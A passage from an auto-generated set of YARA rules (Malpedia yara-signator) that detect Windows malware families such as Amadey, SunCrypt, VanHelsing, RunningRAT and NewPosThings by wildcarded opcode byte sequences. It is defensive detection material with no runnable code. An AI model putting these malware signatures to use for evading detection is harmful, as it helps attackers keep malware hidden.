		$sequence_8 = { 2b85bcf6ffff 8985d8f6ffff 0f8559fcffff 8b8db8f6ffff 85c9 7445 8b3c8d7c2d4600 }
		$sequence_9 = { 8b7508 8d45f4 683734daf3 50 8d45e0 8975ec 50 }
	condition:
		7 of them and filesize < 1047552
}

rule MALPEDIA_Win_Rhttpctrl_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0c1f067f-4c03-5217-84ef-e2056be8411e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rhttpctrl"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rhttpctrl_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "e08ad966d09dce27a6d8e5d5ac2bacf3849e80bd61e38dcdd72f40d98e9b8f3d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { d1fe 6a55 ff34f5c0d54100 ff7508 e8???????? 83c40c 85c0 }
		$sequence_1 = { ffd7 8b4c241c ff742410 8b35???????? 894114 ffd6 }
		$sequence_2 = { 6a00 8d442418 50 8d4714 50 56 }
		$sequence_3 = { 2bc3 39460c 0f8660ffffff 50 53 6aff ff7608 }
		$sequence_4 = { 83c408 895f08 837f1400 c7471001000000 }
		$sequence_5 = { 8b01 52 8d95f0d7ffff 52 ff5004 }
		$sequence_6 = { 8d8424e4010000 6a00 50 e8???????? 83c40c c68424c001000000 }
		$sequence_7 = { c705????????090400c0 c705????????01000000 c705????????01000000 6a04 58 6bc000 c780f43b420002000000 }
		$sequence_8 = { 3bc1 7410 50 e8???????? 83c404 0f1085c0feffff 8b4508 }
		$sequence_9 = { 8b7d0c 8bd9 85ff 7417 803e52 750c 807e0145 }
	condition:
		7 of them and filesize < 339968
}

rule MALPEDIA_Win_Ismagent_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "67740cfb-8507-5206-9327-8d9ca8f2fd2f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ismagent"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ismagent_auto.yar#L1-L100"
		license_url = "N/A"
		logic_hash = "59fcd27aca5a3625483340bfe48980fca66506765ca3b82f7d01afb486f805fc"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 68000000a0 ff7510 51 57 ffd0 68???????? }
		$sequence_1 = { 50 56 57 8d942418170000 }
		$sequence_2 = { 68e8030000 50 8d8424580b0000 50 e8???????? 83c40c 8d842418030000 }
		$sequence_3 = { f3a4 8dbc24183e0000 4f 90 }
		$sequence_4 = { 33c9 660f1f840000000000 8a81a00a4200 8d4901 88840c370f0000 84c0 }
		$sequence_5 = { 66a5 8b7c2418 837c241400 742d 8bc8 8d5101 }
		$sequence_6 = { c744243400000000 e8???????? 8b4c2428 8d442444 }
		$sequence_7 = { 51 8b4c2434 8d942418070000 50 6a01 }
	condition:
		7 of them and filesize < 327680
}

rule MALPEDIA_Win_Grillmark_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "94d64c09-2c69-5952-977d-9716f3cb3003"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grillmark"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grillmark_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "c6ddc22f686e3bfc93b0245e1ab65f2459e27d4cb969cb323a24bb3baf4cbe5c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 8d4df4 56 51 53 50 57 }
		$sequence_1 = { 6800000080 ff7510 ff15???????? 8bf8 83ffff 7436 53 }
		$sequence_2 = { f3ab 66ab aa 8d458c 895df8 50 895df4 }
		$sequence_3 = { 83ffff 7504 33c0 eb1a }
		$sequence_4 = { 66a5 a4 5f 33c0 3905???????? 5e 50 }
		$sequence_5 = { 57 e8???????? 8d85f4fcffff 50 57 }
		$sequence_6 = { ff15???????? 6a40 33c0 59 8dbdfdfeffff 889dfcfeffff 53 }
		$sequence_7 = { 66ab aa 8d85fcfeffff 50 6804010000 e8???????? }
		$sequence_8 = { 50 57 ffb604010000 56 e8???????? 83c410 85c0 }
		$sequence_9 = { 6a01 ff7508 e8???????? 56 e8???????? ff75f4 }
	condition:
		7 of them and filesize < 212992
}

rule MALPEDIA_Win_Darktequila_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8b84bd16-ca3f-5431-937c-08f7f5b85ab2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darktequila"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darktequila_auto.yar#L1-L115"
		license_url = "N/A"
		logic_hash = "33ae748771a6cb26fc0c416897ca1e808c4fe1a22bddffab51a85bc073a3f977"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { a1???????? 894604 8bc6 5e c3 8bff }
		$sequence_1 = { 33c5 8945fc 33c0 53 8bd9 33c9 }
		$sequence_2 = { 83c00d b901000000 ba???????? e8???????? }
		$sequence_3 = { 894df8 e8???????? 83c410 8bf3 e8???????? }
		$sequence_4 = { 40 83f838 72dc b8???????? c3 33d2 3915???????? }
		$sequence_5 = { 83f818 72dc b8???????? c3 }
		$sequence_6 = { 85c0 7466 8b4b0c 8b5310 }
		$sequence_7 = { 884ddf 8945e0 8945e4 8945e8 8945ec }
		$sequence_8 = { 4a 7419 83ea02 753c 8b4508 }
		$sequence_9 = { e8???????? 85c0 742e a1???????? 8d5001 }
	condition:
		7 of them and filesize < 1827840
}

rule MALPEDIA_Win_Curator_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "88dd85f1-9cc3-5f60-833e-59e5ff5c2a14"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.curator"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.curator_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "ce369866ebd7e0f8a7ef01400f189e7f18bf8531561abd861592d244202fec85"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488d4108 4889459f 488d5d8f 4883fa10 480f435d8f 4803d9 41b808000000 }
		$sequence_1 = { 488b07 488d542420 488bcf ff9090000000 488bcd 48c1e903 488b4620 }
		$sequence_2 = { 85c0 0f4ed0 e8???????? 488d15c2140400 488d4c2420 e8???????? cc }
		$sequence_3 = { 5d c3 4883c202 488915???????? 0fbe0a 85c9 74bd }
		$sequence_4 = { 8b45d8 e9???????? 0fbe42ff 488d4dd0 83c004 4863d0 488d05abbf0300 }
		$sequence_5 = { 83e802 0f853ffaffff 660f6fa42400010000 660ffe2424 660f6fac24d0010000 660ffeac24d0000000 660f6fb424a0010000 }
		$sequence_6 = { 4156 4157 4883ec50 488b7128 4c8d25880c0000 33ed 488bf9 }
		$sequence_7 = { 488945e0 895128 488d0d332f0300 488b45d8 488908 488d0d950a0500 488b45d8 }
		$sequence_8 = { 0fb68c2490000000 4c8d0501350300 4803da 4883f101 4803d9 482bfb 488bcb }
		$sequence_9 = { ff15???????? 4885c0 7411 488bc8 ff15???????? 3bc6 0f84eb040000 }
	condition:
		7 of them and filesize < 1265664
}

rule MALPEDIA_Win_Suncrypt_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7f081e6a-91fb-536b-b660-2da418a7ac6f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.suncrypt"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.suncrypt_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "25c1a2f4bf5a2bd511d08d2068ef5b4858a377d650c7c729810ab075898356ca"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33d2 c68518ffffff6e c68519ffffff64 c6851affffff13 c6851bffffff2d c6851cffffff28 c6851dffffff28 }
		$sequence_1 = { 0fbec0 33c1 884415c8 42 83fa1c 72e9 8d4dc8 }
		$sequence_2 = { 6a00 6a00 6a00 6a00 ff35???????? be00310884 c745e000010000 }
		$sequence_3 = { 0405 83f031 8845f9 8b45f0 0406 83f02e 8845fa }
		$sequence_4 = { 8bec 8a5508 80fa2c 7446 a0???????? b9???????? 84c0 }
		$sequence_5 = { ff15???????? 8bf0 85f6 742a 83feff 7425 8d45e8 }
		$sequence_6 = { 8b7308 83c140 8b7da0 894df4 8b4df0 eb7e }
		$sequence_7 = { 0f28dc 660ffe9df0fdffff 0f28c3 660fef45a0 0f28c8 660f72f00c 660f72d114 }
		$sequence_8 = { 83fa11 72e8 ff7510 8d45ec 885dfd ff750c }
		$sequence_9 = { 8bc3 85c9 7411 660f1f440000 803800 740b 47 }
	condition:
		7 of them and filesize < 172032
}

rule MALPEDIA_Win_Corebot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "de56ab56-9ec7-5235-bd26-8fc91d55de2c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.corebot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.corebot_auto.yar#L1-L168"
		license_url = "N/A"
		logic_hash = "7aa9c17958ef7c5a98a9be16ab271931413c5066734bfef2ec6f0b99a977cc0f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b7df0 8d55f0 e8???????? 85c0 7411 837df000 }
		$sequence_1 = { c7411407000000 8d4910 89c6 01c0 c1ee07 }
		$sequence_2 = { 8932 5e c3 31c0 ebfa 55 89e5 }
		$sequence_3 = { 8a1c08 84db 741c 01c8 }
		$sequence_4 = { 8b06 85c0 743d 8b4e04 85c9 751a 83c604 }
		$sequence_5 = { 50 ff15???????? 85c0 7418 8b0e 6a00 ff750c }
		$sequence_6 = { 894dd8 b907000000 0fb618 895de8 }
		$sequence_7 = { 85c0 894dec 7405 8b55e8 eb2c 8b45dc }
		$sequence_8 = { e8???????? 807e5800 7509 ff7654 ff15???????? 807e5000 7509 }
		$sequence_9 = { ff7010 ff7014 e8???????? 8b45e0 }
		$sequence_10 = { eb10 6800800000 6a00 56 }
		$sequence_11 = { ff15???????? 8d4634 50 ff15???????? 8d4e0c e8???????? }
		$sequence_12 = { ff15???????? 807e5000 7509 ff764c ff15???????? 8d4634 50 }
		$sequence_13 = { 85ff 740f 57 ff7508 }
		$sequence_14 = { ff742428 e8???????? 8b442424 8d4c2410 }
		$sequence_15 = { 85c0 7515 8b4624 3b4620 }
	condition:
		7 of them and filesize < 1302528
}

rule MALPEDIA_Win_Chainshot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c772e981-fe05-5ad7-89cb-7e4d2195fea3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chainshot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chainshot_auto.yar#L1-L115"
		license_url = "N/A"
		logic_hash = "d57daacb16b1510f9da9be332e06c34916e951db79264a72675c1b37600885e5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ffc9 7433 ffc9 7438 ffc9 742b ffc9 }
		$sequence_1 = { 7427 83e803 0f844a110000 83f802 0f857b0f0000 }
		$sequence_2 = { 7708 7519 66892c5e eb13 66892c5e bf7a000780 eb08 }
		$sequence_3 = { eb23 8b4520 8906 eb1c b90b000080 eb05 }
		$sequence_4 = { 83c705 c7041f4c8b4424 c6441f0418 83c705 c7041f4c8b4c24 }
		$sequence_5 = { e8???????? 89442420 85c0 7826 }
		$sequence_6 = { ffd0 8905???????? b90b000080 894c2420 e9???????? }
		$sequence_7 = { 747a ffc8 7461 83e802 }
		$sequence_8 = { 7408 ffd1 8905???????? b84b000080 }
		$sequence_9 = { 0f8599000000 c705????????0b000000 e9???????? b902000000 }
	condition:
		7 of them and filesize < 802816
}

rule MALPEDIA_Win_Neteagle_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "32895ae7-ce57-521b-b8af-c26cb59a6de4"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.neteagle"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.neteagle_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "cd9004d8f3e934bcdc5c7488fb3dbf59ca59052c62f38c8a57dd749c0498c5bb"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b86040c0000 40 8d0c40 c704ce02000000 e9???????? 8b54242c }
		$sequence_1 = { 8b4c241c 52 53 50 51 ff15???????? 85c0 }
		$sequence_2 = { 8b461c 85c0 0f849e010000 8bce e8???????? 85c0 0f848f010000 }
		$sequence_3 = { 8bf8 6804010000 897c2424 c744242804010000 c744242c01000000 e8???????? 8b8c2464010000 }
		$sequence_4 = { 8b4b24 03c8 89542901 8b4b24 8b542438 03c8 89542905 }
		$sequence_5 = { 6a17 50 8bcb e8???????? 8d4da0 6a0f 8d55e0 }
		$sequence_6 = { e8???????? 8b470c 83c604 8b0430 85c0 75e1 33f6 }
		$sequence_7 = { a1???????? 83f801 7f82 5f 5e 5b 8b4dfc }
		$sequence_8 = { 68???????? 52 ffd5 83c408 8d4c2440 85c0 0f94c3 }
		$sequence_9 = { 894d98 8b8de4feffff 89559c 8945a0 8d95e8feffff 6a64 8d45d8 }
	condition:
		7 of them and filesize < 262144
}

rule MALPEDIA_Win_Amadey_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1f098ad5-f3e6-509c-99f1-f0cffd69c9f4"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.amadey_auto.yar#L1-L210"
		license_url = "N/A"
		logic_hash = "fb6578b6e50d377be8fb88ae4d5eeeb58ec3e463dc3822773f271e1c55398ad5"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 5b 8be5 5d c3 5f c6040e00 8bc6 }
		$sequence_1 = { 57 ff15???????? 85c0 75d9 bb01000000 }
		$sequence_2 = { 68???????? eb42 e8???????? 83f801 7431 e8???????? }
		$sequence_3 = { 83ec18 8bcc 68???????? e8???????? 8d4db4 }
		$sequence_4 = { 8a0402 88040f 41 8b7dfc 8d4201 }
		$sequence_5 = { 68???????? e8???????? 8d4dcc e8???????? 83c418 }
		$sequence_6 = { 0f434d20 40 50 52 6a02 6a00 51 }
		$sequence_7 = { 83f811 7413 e8???????? 83f812 7409 6a01 68???????? }
		$sequence_8 = { 68???????? e8???????? 8d4d98 e8???????? 83c418 }
		$sequence_9 = { 8b8d78feffff 42 8bc1 81fa00100000 7214 }
		$sequence_10 = { 83fa10 722f 8b8d78feffff 42 }
		$sequence_11 = { 8b85f49fffff 40 89442404 8d85f8bfffff 890424 e8???????? }
		$sequence_12 = { 8d55c8 89442404 891424 e8???????? 85c0 7523 }
		$sequence_13 = { c745fc05000000 c70424???????? e8???????? 890424 e8???????? 84c0 }
		$sequence_14 = { 8d85d8fdffff 890424 e8???????? e8???????? 89442404 }
		$sequence_15 = { 89e5 b828200000 e8???????? 817d08???????? 0f84be000000 }
		$sequence_16 = { e8???????? 8b45dc 890424 e8???????? 83ec04 }
		$sequence_17 = { c745fc0c000000 8b45fc c9 c3 }
		$sequence_18 = { 55 89e5 81ec48040000 e8???????? 89c2 c744241c00020000 8d85f8fbffff }
		$sequence_19 = { 56 57 8b3d???????? 83ec18 }
		$sequence_20 = { 722f 8b8d60feffff 42 8bc1 }
	condition:
		7 of them and filesize < 908288
}

rule MALPEDIA_Win_Vanhelsing_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "02fe503d-2dc7-525c-81f0-efaa387cf55b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vanhelsing"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vanhelsing_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "88005107b8dd0aed04a916a851d1dfdd2e8ac36a0ef3ce82f006aaa16cb30fa5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 5d c3 55 8bec 81ec9c000000 8b450c 53 }
		$sequence_1 = { 8b4518 0f1000 0f1145cc 0f104010 8b01 8b4904 8945ec }
		$sequence_2 = { 660f380035???????? 0f57c8 660f38000d???????? 0f29b520ffffff 0f294df0 0f28c6 660fd4c3 }
		$sequence_3 = { 8b45e4 8b048598485600 8b4de0 f644082801 7515 e8???????? c70009000000 }
		$sequence_4 = { 85c9 7410 8a80b4d44800 8806 46 41 897590 }
		$sequence_5 = { 6a00 6a00 6800000008 ff15???????? 6a03 6a00 6a00 }
		$sequence_6 = { 888570fbffff 240f 884580 8a06 888571fbffff 240f 884581 }
		$sequence_7 = { 039d48ffffff 8b4dc8 138de8feffff 039df0feffff 898530ffffff 8bc3 138ddcfeffff }
		$sequence_8 = { 7f4f 8d4608 50 8d85d8fbffff 68???????? 50 e8???????? }
		$sequence_9 = { 0fb6cb c1e803 83e107 0fb67405dc 8d8514ffffff d3ee 83e601 }
	condition:
		7 of them and filesize < 2981888
}

rule MALPEDIA_Win_Hotcroissant_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "83ef5f77-5617-5f2c-aab4-e7c78e791ad8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hotcroissant"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hotcroissant_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "dce551f3abb53b003bc43a41a6cd9ea09bb62dbd64ab9e901fd3bd3c6af24937"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 52 6a00 68703a0000 6a00 }
		$sequence_1 = { 6a00 c705????????00000000 ff15???????? 6a00 }
		$sequence_2 = { 52 50 6a08 ff15???????? 50 ff15???????? 85c0 }
		$sequence_3 = { ffd6 6800040000 68???????? 68???????? 68???????? ffd6 }
		$sequence_4 = { 6a01 50 ff15???????? a1???????? 8b35???????? 50 ffd6 }
		$sequence_5 = { 8b15???????? 33c0 52 a3???????? a3???????? a3???????? }
		$sequence_6 = { 8b15???????? 52 ffd6 893d???????? }
		$sequence_7 = { 56 57 683f000f00 33db 53 53 ff15???????? }
		$sequence_8 = { ffd7 807c30ff5c 8b1d???????? 740a }
		$sequence_9 = { 8b15???????? 33c0 52 a3???????? a3???????? }
	condition:
		7 of them and filesize < 591872
}

rule MALPEDIA_Win_Shady_Hammock_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "dffdbcb2-bd98-5c78-b119-218bf0b8f1f8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shady_hammock"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shady_hammock_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "eb81523b23e33f9ac426471f12cb50726588d21942b2b73e8ff2883c6fa0b314"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7203 488b01 488d0c10 488bfe 492bf9 4c8bc7 }
		$sequence_1 = { 488bcd e8???????? 498d5701 41c6042c00 4881fa00100000 7218 }
		$sequence_2 = { e8???????? 4c8b5368 488d4d2f 48837d4710 0f93c2 480f434d2f 4c8b4d3f }
		$sequence_3 = { 3bc7 0f843e010000 0fb6f8 e9???????? 0f57c0 }
		$sequence_4 = { 7453 488b5318 4883fa10 7205 488b0b }
		$sequence_5 = { 0bc1 89442408 0fae542408 c3 488bc4 53 }
		$sequence_6 = { 747e 8b82b0000000 4803c8 4903c9 4a8d1408 }
		$sequence_7 = { 4883781810 7203 488b00 41b80a000000 488bd0 488bcf e8???????? }
		$sequence_8 = { eb2c 498bcf 488bc3 48d1e9 }
		$sequence_9 = { 48895c2408 4889742410 48897c2418 488bd9 4c8bc9 482b5a30 }
	condition:
		7 of them and filesize < 635904
}

rule MALPEDIA_Win_Runningrat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d7ed2390-7d31-581c-a1e4-fdb77337ca48"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.runningrat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.runningrat_auto.yar#L1-L165"
		license_url = "N/A"
		logic_hash = "4ddbc260dd07c2863631004b7f152c53ea1c57a6d19004876f01cbe090f0559f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 56 ff15???????? 56 ff15???????? 8b8c2418010000 }
		$sequence_1 = { 891481 ff4608 e9???????? 83fa12 750a c744242c07000000 eb07 }
		$sequence_2 = { 5d 83c408 c3 8b442434 8b4c242c 56 }
		$sequence_3 = { dec1 dee9 def9 dc0d???????? }
		$sequence_4 = { 50 03cb 51 e8???????? 8b542428 0fb74206 47 }
		$sequence_5 = { f3a4 ff15???????? 5f 5e 5d 33c0 }
		$sequence_6 = { 8b4764 50 e8???????? 33c0 83c404 8bcf 894764 }
		$sequence_7 = { 03c8 40 8a0c29 884c03ff 8b4e04 }
		$sequence_8 = { 8be8 83c404 83fdfd 7515 }
		$sequence_9 = { 8dbc24a4010000 f3ab 8d8c2408020000 51 }
		$sequence_10 = { 83c204 89542420 3bce 741f 8b948c8c000000 8b9c242c010000 }
		$sequence_11 = { 6a00 6a00 8b82a8000000 50 68???????? 6a00 }
		$sequence_12 = { 50 e8???????? 8b5644 68a2aedeac 68ce9a32f7 68c9600000 52 }
		$sequence_13 = { 7336 8d642400 837c241c00 0f84cc020000 0fb613 ff4c241c }
		$sequence_14 = { 8bd1 83e201 d1e9 895618 83f903 0f8761060000 }
	condition:
		7 of them and filesize < 275456
}

rule MALPEDIA_Win_Newposthings_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c55cf5a4-9d2e-5a13-be84-37c432415503"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.newposthings"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.newposthings_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "13f1fe8829e7836205b87c0389095410b0edec07cc2b8983a118dc935e06f45f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83ec0c 8b4508 8b483c 01c1 813950450000 7551 8d5178 }
		$sequence_1 = { 68ae520110 64a100000000 50 81ec28010000 a1???????? 33c5 }
		$sequence_2 = { 8d85f0fcffff 50 6801010000 6a00 c785ecfcffff00000000 }
